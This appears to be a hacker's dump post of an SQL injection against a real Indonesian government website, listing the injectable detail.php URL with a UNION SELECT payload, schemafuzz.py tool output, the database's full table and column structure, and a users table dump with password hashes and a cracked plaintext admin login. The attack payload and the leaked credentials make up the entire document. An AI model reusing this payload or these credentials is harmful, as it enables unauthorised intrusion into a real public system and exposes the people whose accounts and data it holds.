[SQLi] http://www.bainfokomsumut.go.id/

Tool --> schemafuzz.py v5.0
Admin login page --> http://www.bainfokomsumut.go.id/
Admin usr:pwd --> riza:milanista
Dump:
[+] URL:http://www.bainfokomsumut.go.id/detail.php?id=1634+AND+1=2+UNION+SELECT+0,1,sqli,3,4,5--
[+] Evasion Used: "+" "--"
[+] 13:27:39
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
Database: bainfo_infokom
User: bainfo@localhost
Version: 5.0.51a-community

[Database]: bainfo_infokom
[Table: Columns]
[0]agenda: id,text,day,month,year
[1]artikel: id,prajudul,title,singkat,lengkap,waktu
[2]berita: id,prajudul,title,singkat,lengkap,waktu
[3]counter: id,hits
[4]gallery: id,waktu,namafile,ukuran,keterangan,hits,kategori
[5]gempa: id,prajudul,title,singkat,lengkap,waktu
[6]gis: id,prajudul,title,singkat,lengkap,waktu
[7]h5n1: id,prajudul,title,singkat,lengkap,waktu
[8]harga: id,waktu,namafile,ukuran
[9]pegawai: id,Nama,NIP,JK,Jabatan,Pangkat,Pendidikan,Tempat,Lahir,Gol,Status,Alamat,Tlp,HP,Waktu
[10]photo: id,waktu,namafile,ukuran,deskripsi
[11]pilkada: id,prajudul,title,singkat,lengkap,waktu
[12]poll_comment: com_id,poll_id,time,host,browser,name,email,message
[13]poll_config: config_id,base_gif,lang,title,vote_button,result_text,total_text,voted,send_com,img_height,img_length,table_width,bgcolor_tab,bgcolor_fr,font_face,font_color,type,check_ip,lock_timeout,time_offset,entry_pp,poll_version,base_url,result_order,def_options,polls_pp
[14]poll_data: id,poll_id,option_id,option_text,color,votes
[15]poll_index: poll_id,question,timestamp,status,logging,exp_time,expire,comments
[16]poll_ip: ip_id,poll_id,ip_addr,timestamp
[17]poll_log: log_id,poll_id,option_id,timestamp,ip_addr,host,agent
[18]poll_templates: tpl_id,tplset_id,title,template
[19]poll_templateset: tplset_id,tplset_name,created
[20]poll_user: user_id,username,userpass,session,last_visit
[21]prima: id,prajudul,title,singkat,lengkap,waktu
[22]sambutan: id,waktu,namafile,ukuran,deskripsi
[23]seratus: id,prajudul,title,singkat,lengkap,waktu
[24]tamu: id,nama,email,alamat,komentar,waktu,IP
[25]users: user_id,username,password

[-] [13:28:17]
[-] Total URL Requests 174
[-] Done


[+] URL:http://www.bainfokomsumut.go.id/detail.php?id=1634+AND+1=2+UNION+SELECT+0,1,sqli,3,4,5--
[+] Evasion Used: "+" "--"
[+] 13:28:37
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
Database: bainfo_infokom
User: bainfo@localhost
Version: 5.0.51a-community
[+] Dumping data from database "bainfo_infokom" Table "users"
[+] Column(s) ['username', 'password']
[+] Number of Rows: 3

[0] admin:ea0ac9fae1758db74589faee92202fdc:
[1] landsmile:a3bf971c78083493a21d74396ba9d4c2:
[2] riza:045422f6db8d978a28a6df66ffa986cd: ==> milanista

[-] [13:28:38]
[-] Total URL Requests 5
[-] Done